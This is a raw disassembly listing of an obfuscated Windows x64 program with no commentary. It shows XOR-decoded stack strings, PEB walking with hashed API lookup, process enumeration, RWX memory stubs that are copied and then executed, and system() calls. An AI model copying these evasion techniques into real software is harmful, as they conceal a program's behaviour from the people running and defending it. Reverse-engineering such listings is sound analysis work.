movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014d500]
mov qword [r13 + rax*8 + 0x14d510], r14
mov qword [r13 + rax*8 + 0x14d830], r8
inc rax
mov qword [0x14014d500], rax
lea rdx, [rbp + 0x78]
mov rcx, rbx
call r8
nop
xor rdi, r15
mov qword [rsi], rdi
cmp qword [0x14014b178], 0
je 0x1400644d0
cmp qword [0x14014b170], 0
jne 0x140064ff1
nop dword [rax]
movdqa xmm1, xmmword [0x1400da190]
movdqu xmmword [rbp + 0x700], xmm1
mov dl, WSAGetLastError
mov r8b, Ordinal_30
mov r9b, Ordinal_45
mov r10b, reloc.WLDAP32.dll_Ordinal_45
mov r11b, reloc.WLDAP32.dll_Ordinal_33
mov bl, reloc.WLDAP32.dll_Ordinal_60
mov dil, 0x2a
movzx esi, r9b
movzx r14d, bl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x701], al
xor byte [rbp + 0x702], cl
xor byte [rbp + 0x703], cl
xor byte [rbp + 0x704], cl
xor byte [rbp + 0x705], cl
xor byte [rbp + 0x706], cl
xor byte [rbp + 0x707], cl
xor byte [rbp + 0x708], cl
xor byte [rbp + 0x709], cl
xor byte [rbp + 0x70a], cl
xor byte [rbp + 0x70b], cl
xor byte [rbp + 0x70c], cl
xor byte [rbp + 0x70d], cl
xor byte [rbp + 0x70e], cl
xor byte [rbp + 0x70f], cl
xor dl, cl
mov byte [rbp + 0x710], dl
xor r8b, cl
mov byte [rbp + 0x711], r8b
xor r9b, cl
mov byte [rbp + 0x712], r9b
xor r10b, cl
mov byte [rbp + 0x713], r10b
xor r11b, cl
mov byte [rbp + 0x714], r11b
xor bl, cl
mov byte [rbp + 0x715], bl
xor dil, cl
mov byte [rbp + 0x716], dil
xor sil, cl
mov byte [rbp + 0x717], sil
xor r14b, cl
mov byte [rbp + 0x718], r14b
mov byte [rbp + 0x719], 0
movdqa xmm1, xmmword [0x1400da450]
movdqu xmmword [rbp + 0x720], xmm1
mov cl, 0x5b
mov r8b, 0x42
mov r9b, 0x61
mov r10b, 0x53
mov r11b, 0x44
mov bl, 0x57
mov dil, reloc.WS2_32.dll_WSASetLastError
movzx esi, cl
mov r14b, 0x46
mov r15b, 0x41
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp + 0x721], al
xor byte [rbp + 0x722], dl
xor byte [rbp + 0x723], dl
xor byte [rbp + 0x724], dl
xor byte [rbp + 0x725], dl
xor byte [rbp + 0x726], dl
xor byte [rbp + 0x727], dl
xor byte [rbp + 0x728], dl
xor byte [rbp + 0x729], dl
xor byte [rbp + 0x72a], dl
xor byte [rbp + 0x72b], dl
xor byte [rbp + 0x72c], dl
xor byte [rbp + 0x72d], dl
xor byte [rbp + 0x72e], dl
xor byte [rbp + 0x72f], dl
xor cl, dl
mov byte [rbp + 0x730], cl
xor r8b, dl
mov byte [rbp + 0x731], r8b
xor r9b, dl
mov byte [rbp + 0x732], r9b
xor r10b, dl
mov byte [rbp + 0x733], r10b
xor r11b, dl
mov byte [rbp + 0x734], r11b
xor bl, dl
mov byte [rbp + 0x735], bl
xor dil, dl
mov byte [rbp + 0x736], dil
xor sil, dl
mov byte [rbp + 0x737], sil
xor r14b, dl
mov byte [rbp + 0x738], r14b
xor r15b, dl
mov byte [rbp + 0x739], r15b
mov byte [rbp + 0x73a], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140064c76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140064c76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
mov r8d, 0x7ba4a1f3
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140064c71
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140064c50
cmp r8d, 0x208fa0f7
je 0x140064c7b
test r9d, r9d
jne 0x140064c30
mov rax, qword [rax]
jmp 0x140064c00
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, [rbp + 0x701]
lea rcx, [rbp + 0x721]
call r8
mov qword [0x14014b170], rax
test rax, rax
jne 0x140064ff1
movdqa xmm1, xmmword [0x1400da1a0]
movdqu xmmword [rbp + 0x760], xmm1
mov cl, 0x35
mov dl, 0x2b
mov r8b, 0x26
mov r9b, 0x3e
mov r11b, 0x67
mov bl, 0x30
mov dil, reloc.WLDAP32.dll_Ordinal_46
mov sil, reloc.WLDAP32.dll_Ordinal_41
mov r14b, reloc.WLDAP32.dll_Ordinal_35
mov r15b, Ordinal_41
movzx r12d, bl
mov r13b, 0x69
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r10d, xmm1
xor al, r10b
mov byte [rbp + 0x761], al
xor byte [rbp + 0x762], r10b
xor byte [rbp + 0x763], r10b
xor byte [rbp + 0x764], r10b
xor byte [rbp + 0x765], r10b
xor byte [rbp + 0x766], r10b
xor byte [rbp + 0x767], r10b
xor byte [rbp + 0x768], r10b
xor byte [rbp + 0x769], r10b
xor byte [rbp + 0x76a], r10b
xor byte [rbp + 0x76b], r10b
xor byte [rbp + 0x76c], r10b
xor byte [rbp + 0x76d], r10b
xor byte [rbp + 0x76e], r10b
xor byte [rbp + 0x76f], r10b
xor cl, r10b
mov byte [rbp + 0x770], cl
xor dl, r10b
mov byte [rbp + 0x771], dl
xor r8b, r10b
mov byte [rbp + 0x772], r8b
xor r9b, r10b
mov byte [rbp + 0x773], r9b
xor r11b, r10b
mov byte [rbp + 0x774], r11b
xor bl, r10b
mov byte [rbp + 0x775], bl
xor dil, r10b
mov byte [rbp + 0x776], dil
xor sil, r10b
mov byte [rbp + 0x777], sil
xor r14b, r10b
mov byte [rbp + 0x778], r14b
xor r15b, r10b
mov byte [rbp + 0x779], r15b
xor r12b, r10b
mov byte [rbp + 0x77a], r12b
xor r13b, r10b
mov byte [rbp + 0x77b], r13b
mov al, 0x69
xor al, r10b
mov byte [rbp + 0x77c], al
mov byte [rbp + 0x77d], 0
lea rdx, [rbp + 0x761]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b2d0
lea rdx, [0x14004d590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x50], 0x1b58
lea rcx, [rsp + 0x50]
call fcn.14004db60
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp + 0x7e0], Ordinal_79
mov al, reloc.WLDAP32.dll_Ordinal_46
mov cl, reloc.WLDAP32.dll_Ordinal_33
mov dl, 0x3e
xor r8d, r8d
xor al, 0x4d
mov byte [rbp + 0x7e1], al
xor cl, 0x4d
mov byte [rbp + 0x7e2], cl
xor dl, 0x4d
mov byte [rbp + 0x7e3], dl
mov byte [rbp + 0x7e4], r8b
lea rax, [rbp + 0x7e1]
mov qword [rbp + 0x80], rax
movabs r15, 0xff00ff00ff00ff00
mov qword [rbp + 0x188], r15
lea rsi, [rbp + 0xbe8]
mov qword [rbp + 0x190], rsi
mov rdi, qword [rsi]
xor rdi, r15
mov qword [rbp + 0x180], rdi
xor r12d, r12d
mov qword [rsi], r12
mov ecx, r12d
mov rax, qword [0x14014d510]
lea r13, [0x140000000]
lea r14, [0x14004b960]
test rax, rax
je 0x140064ee1
mov edx, r12d
cmp rax, r14
je 0x140064ed0
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14d510]
test rax, rax
jne 0x140064eb8
jmp 0x140064ee1
mov r8, qword [r13 + rdx*8 + 0x14d830]
test r8, r8
jne 0x140064fcf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140064f08
mov r8, r12
jmp 0x140064fae
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140064f20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014d500]
mov qword [r13 + rax*8 + 0x14d510], r14
mov qword [r13 + rax*8 + 0x14d830], r8
inc rax
mov qword [0x14014d500], rax
lea rdx, [rbp + 0x80]
mov rcx, rbx
call r8
nop
xor rdi, r15
mov qword [rsi], rdi
cmp qword [0x14014b170], 0
je 0x1400649f0
mov edx, reloc.WS2_32.dll_setsockopt
mov dword [rsp + 0x50], edx
mov word [rbp + 0x8a8], dx
mov ecx, reloc.WS2_32.dll_WSASetLastError
lea esi, [rdx + 0x58]
movzx edi, cx
movzx r14d, cx
movzx r15d, dx
movzx eax, word [0x1400d9e4e]
xor ax, dx
mov word [rsp + 0x60], ax
movzx r12d, word [str.invalid_vector_subscript]
xor r12w, dx
movzx ebx, word [0x1400d9e52]
xor bx, dx
movzx r11d, word [0x1400d9e54]
xor r11w, dx
movzx r10d, word [0x1400d9e56]
xor r10w, dx
movzx r9d, word [0x1400d9e58]
xor r9w, dx
movzx r8d, word [0x1400d9e5a]
xor r8w, dx
movzx edx, word [0x1400d9e5c]
xor dx, r15w
movzx ecx, word [0x1400d9e5e]
xor cx, r15w
movzx eax, word [0x1400d9e60]
xor ax, r15w
mov r13d, 0x67
xor r13w, word [rsp + 0x50]
mov word [rbp + 0x8aa], r13w
mov r13d, reloc.WLDAP32.dll_Ordinal_32
xor r13w, word [rsp + 0x50]
mov word [rbp + 0x8ac], r13w
mov r13d, reloc.WS2_32.dll_WSACleanup
xor r13w, word [rsp + 0x50]
mov word [rbp + 0x8ae], r13w
mov r13d, 0x65
xor r13w, word [rsp + 0x50]
mov word [rbp + 0x8b0], r13w
mov r13d, reloc.WS2_32.dll_WSASetLastError
xor r13w, word [rsp + 0x50]
mov word [rbp + 0x8b2], r13w
mov r13d, esi
xor r13w, word [rsp + 0x50]
mov word [rbp + 0x8b4], r13w
mov r13d, Ordinal_60
xor r13w, word [rsp + 0x50]
mov word [rbp + 0x8b6], r13w
mov r13d, reloc.WS2_32.dll_setsockopt
xor di, r13w
mov word [rbp + 0x8b8], di
xor si, r13w
mov word [rbp + 0x8ba], si
xor r14w, r13w
mov word [rbp + 0x8bc], r14w
xor r15w, r13w
mov word [rbp + 0x8be], r15w
movzx edi, word [rsp + 0x60]
xor di, r13w
mov word [rbp + 0x8c0], di
xor r12w, r13w
mov word [rbp + 0x8c2], r12w
xor bx, r13w
mov word [rbp + 0x8c4], bx
xor r11w, r13w
mov word [rbp + 0x8c6], r11w
xor r10w, r13w
mov word [rbp + 0x8c8], r10w
xor r9w, r13w
mov word [rbp + 0x8ca], r9w
xor r8w, r13w
mov word [rbp + 0x8cc], r8w
xor dx, r13w
mov word [rbp + 0x8ce], dx
xor cx, r13w
mov word [rbp + 0x8d0], cx
xor ax, r13w
mov word [rbp + 0x8d2], ax
xor r13d, r13d
mov word [rbp + 0x8d4], r13w
mov r14d, r13d
mov esi, r13d
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov r15, rax
mov dword [rbp + 0xa60], 0x130
lea rdx, [rbp + 0xa60]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
lea rdx, [rbp + 0xa60]
mov rcx, r15
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1400652c7
nop dword [rax]
lea rcx, [rbp + 0xa8c]
mov edx, r13d
nop word [rax + rax]
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140065231
inc edx
test rcx, rcx
jne 0x140065220
movsxd rbx, edx
inc rbx
mov eax, 2
mul rbx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1400c8f64
mov rdi, rax
mov r8, rbx
lea rdx, [rbp + 0xa8c]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
test rdi, rdi
je 0x14006529d
movzx edx, word [rbp + 0x8aa]
movzx eax, word [rdi]
sub eax, edx
jne 0x140065299
lea rcx, [rbp + 0x8aa]
sub rcx, rdi
test dx, dx
je 0x140065299
add rdi, 2
movzx edx, word [rdi + rcx]
movzx eax, word [rdi]
sub eax, edx
je 0x140065285
test eax, eax
jne 0x1400652b0
mov eax, dword [rbp + 0xa7c]
cmp eax, esi
jbe 0x1400652b0
mov esi, eax
mov r14d, dword [rbp + 0xa68]
lea rdx, [rbp + 0xa60]
mov rcx, r15
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140065210
mov dword [0x14014b1e0], r14d
mov r14d, 3
cmp qword [0x14014af50], r13
jne 0x1400656fb
lea r15, [rbp + 0xbe8]
lea r12, [0x14004b960]
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2a4], xmm0
movups xmmword [rbp + 0x2b4], xmm0
movups xmmword [rbp + 0x2c4], xmm0
movups xmmword [rbp + 0x2d4], xmm0
movups xmmword [rbp + 0x2e4], xmm0
movups xmmword [rbp + 0x2f4], xmm0
movups xmmword [rbp + 0x304], xmm0
movups xmmword [rbp + 0x314], xmm0
movups xmmword [rbp + 0x324], xmm0
mov dword [rbp + 0x334], eax
mov dword [rbp + 0x2a0], r14d
mov byte [rbp + 0x7d0], Ordinal_35
mov al, reloc.WS2_32.dll_recv
mov cl, reloc.WS2_32.dll_send
mov dl, reloc.WS2_32.dll_recvfrom
mov r8b, reloc.WS2_32.dll_socket
mov r9b, reloc.WLDAP32.dll_Ordinal_22
xor r10d, r10d
xor al, 0x22
mov byte [rbp + 0x7d1], al
xor cl, 0x22
mov byte [rbp + 0x7d2], cl
xor dl, 0x22
mov byte [rbp + 0x7d3], dl
xor r8b, 0x22
mov byte [rbp + 0x7d4], r8b
xor r9b, 0x22
mov byte [rbp + 0x7d5], r9b
mov byte [rbp + 0x7d6], r10b
lea r9, [rbp + 0x7d1]
lea ecx, [r10 + 6]
call fcn.1400531d0
mov r8, rax
movzx eax, byte [rbp + 0x7d1]
cmp al, 0x30
jl 0x1400653d8
nop dword [rax]
cmp al, 0x39
jg 0x1400653d8
mov ecx, 0x9a0
call fcn.1400531d0
imul r8d, eax
movsx eax, byte [r9]
add r8d, 0xffffffd0
add r8d, eax
inc r9
movzx eax, byte [r9]
cmp al, 0x30
jge 0x1400653b0
mov dword [rbp + 0x2a4], r8d
mov eax, dword [0x14014b1e0]
mov dword [rbp + 0x2f0], eax
lea rcx, [rbp + 0x2a0]
call fcn.1400604b0
mov rax, qword [rbp + 0x2a8]
mov qword [0x14014b1e8], rax
mov rax, qword [rbp + 0x2f8]
mov qword [0x14014af50], rax
test rax, rax
jne 0x1400656fb
movdqa xmm1, xmmword [0x1400da4b0]
movdqu xmmword [rbp + 0x6a0], xmm1
mov cl, 0x66
mov r8b, reloc.WLDAP32.dll_Ordinal_35
mov r9b, 0x61
mov r10b, 0x62
mov r11b, reloc.WS2_32.dll_WSASetLastError
movzx ebx, cl
mov dil, reloc.WLDAP32.dll_Ordinal_45
movzx esi, dil
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp + 0x6a1], al
xor byte [rbp + 0x6a2], dl
xor byte [rbp + 0x6a3], dl
xor byte [rbp + 0x6a4], dl
xor byte [rbp + 0x6a5], dl
xor byte [rbp + 0x6a6], dl
xor byte [rbp + 0x6a7], dl
xor byte [rbp + 0x6a8], dl
xor byte [rbp + 0x6a9], dl
xor byte [rbp + 0x6aa], dl
xor byte [rbp + 0x6ab], dl
xor byte [rbp + 0x6ac], dl
xor byte [rbp + 0x6ad], dl
xor byte [rbp + 0x6ae], dl
xor byte [rbp + 0x6af], dl
xor cl, dl
mov byte [rbp + 0x6b0], cl
xor r8b, dl
mov byte [rbp + 0x6b1], r8b
xor r9b, dl
mov byte [rbp + 0x6b2], r9b
xor r10b, dl
mov byte [rbp + 0x6b3], r10b
xor r11b, dl
mov byte [rbp + 0x6b4], r11b
xor bl, dl
mov byte [rbp + 0x6b5], bl
xor dil, dl
mov byte [rbp + 0x6b6], dil
xor sil, dl
mov byte [rbp + 0x6b7], sil
mov byte [rbp + 0x6b8], 0
lea rdx, [rbp + 0x6a1]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b2d0
lea rdx, [0x14004d590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x50], 0x1b58
lea rcx, [rsp + 0x50]
call fcn.14004db60
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp + 0x7e8], recv
mov al, reloc.WS2_32.dll_WSAGetLastError
mov cl, 0x60
mov dl, 0x7f
xor r8d, r8d
xor al, 0xc
mov byte [rbp + 0x7e9], al
xor cl, 0xc
mov byte [rbp + 0x7ea], cl
xor dl, 0xc
mov byte [rbp + 0x7eb], dl
mov byte [rbp + 0x7ec], r8b
lea rax, [rbp + 0x7e9]
mov qword [rbp + 0x88], rax
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x1a8], r15
mov rdi, qword [r15]
xor rdi, rax
mov qword [rbp + 0x198], rdi
mov qword [r15], r13
mov ecx, r13d
mov rax, qword [0x14014d510]
lea rsi, [0x140000000]
test rax, rax
je 0x1400655ea
mov rdx, r13
cmp rax, r12
je 0x1400655d9
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x14d510]
test rax, rax
jne 0x1400655c1
jmp 0x1400655ea
mov r8, qword [rsi + rdx*8 + 0x14d830]
test r8, r8
jne 0x1400656cf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140065611
mov r8, r13
jmp 0x1400656ae
mov rax, r12
mov rcx, r8
mov rdx, r14
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140065620
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014d500]
mov qword [rsi + rax*8 + 0x14d510], r12
mov qword [rsi + rax*8 + 0x14d830], r8
inc rax
mov qword [0x14014d500], rax
lea rdx, [rbp + 0x88]
mov rcx, rbx
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rdi, rax
mov qword [r15], rdi
cmp qword [0x14014af50], 0
je 0x1400652f0
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp + 0x800], reloc.WS2_32.dll_ntohs
mov al, 0x6c
mov cl, 0x63
mov dl, 0x7c
xor r8d, r8d
xor al, 0xf
mov byte [rbp + 0x801], al
xor cl, 0xf
mov byte [rbp + 0x802], cl
xor dl, 0xf
mov byte [rbp + 0x803], dl
mov byte [rbp + 0x804], r8b
lea rax, [rbp + 0x801]
mov qword [rbp + 0x90], rax
lea r15, [rbp + 0xbe8]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x1b8], rax
mov qword [rbp + 0x1c0], r15
mov rdi, qword [r15]
xor rdi, rax
mov qword [rbp + 0x1b0], rdi
mov qword [r15], r13
mov ecx, r13d
mov rax, qword [0x14014d510]
lea rsi, [0x140000000]
lea r12, [0x14004b960]
test rax, rax
je 0x1400657b9
mov rdx, r13
cmp rax, r12
je 0x1400657a8
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x14d510]
test rax, rax
jne 0x140065790
jmp 0x1400657b9
mov r8, qword [rsi + rdx*8 + 0x14d830]
test r8, r8
jne 0x14006589f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400657e0
mov r8, r13
jmp 0x14006587e
mov rax, r12
mov rcx, r8
mov rdx, r14
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400657f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014d500]
mov qword [rsi + rax*8 + 0x14d510], r12
mov qword [rsi + rax*8 + 0x14d830], r8
inc rax
mov qword [0x14014d500], rax
lea rdx, [rbp + 0x90]
mov rcx, rbx
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rdi, rax
mov qword [r15], rdi
mov rbx, qword [sym.imp.KERNEL32.dll_Beep]
mov dword [rbp - 0x44], Ordinal_301
mov dword [rbp - 0x78], 0x64
lea r12, [rbp + 0xbe8]
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0xc0], r12
mov rdi, qword [r12]
xor rdi, rax
mov qword [rbp + 0xb0], rdi
mov qword [r12], r13
mov ecx, r13d
lea r15, [0x14004b7b0]
mov rax, qword [0x1401507e0]
test rax, rax
je 0x14006593b
mov rdx, r13
cmp rax, r15
je 0x14006592a
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x1507e0]
test rax, rax
jne 0x140065912
jmp 0x14006593b
mov r10, qword [rsi + rdx*8 + 0x150b00]
test r10, r10
jne 0x140065a1f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140065962
mov r10, r13
jmp 0x1400659fe
mov rax, r15
mov rcx, r10
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r14, 1
jne 0x140065970
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401507d0]
mov qword [rsi + rax*8 + 0x1507e0], r15
mov qword [rsi + rax*8 + 0x150b00], r10
inc rax
mov qword [0x1401507d0], rax
lea r8, [rbp - 0x44]
lea rdx, [rbp - 0x78]
mov rcx, rbx
call r10
nop
movabs rax, 0xff00ff00ff00ff00
xor rdi, rax
mov qword [r12], rdi
mov ecx, 8
call fcn.1400c8efc
test rax, rax
je 0x140065a5a
lea rcx, [0x140060e30]
mov qword [rax], rcx
jmp 0x140065a5d
mov rax, r13
mov qword [rbp + 0x98], rax
lea rcx, [rbp - 0x20]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x14004c410]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x140065c4d
mov qword [rbp + 0x98], r13
lea rcx, [rbp - 0x28]
call fcn.140056a00
nop
cmp dword [rbp - 0x20], 0
jne 0x140065c37
mov ecx, 8
call fcn.1400c8efc
test rax, rax
je 0x140065ac9
lea rcx, [0x14005d150]
mov qword [rax], rcx
jmp 0x140065acc
mov rax, r13
mov qword [rbp + 0xa0], rax
lea rcx, [rbp - 0x10]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x14004c410]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x18], rax
test rax, rax
je 0x140065c3e
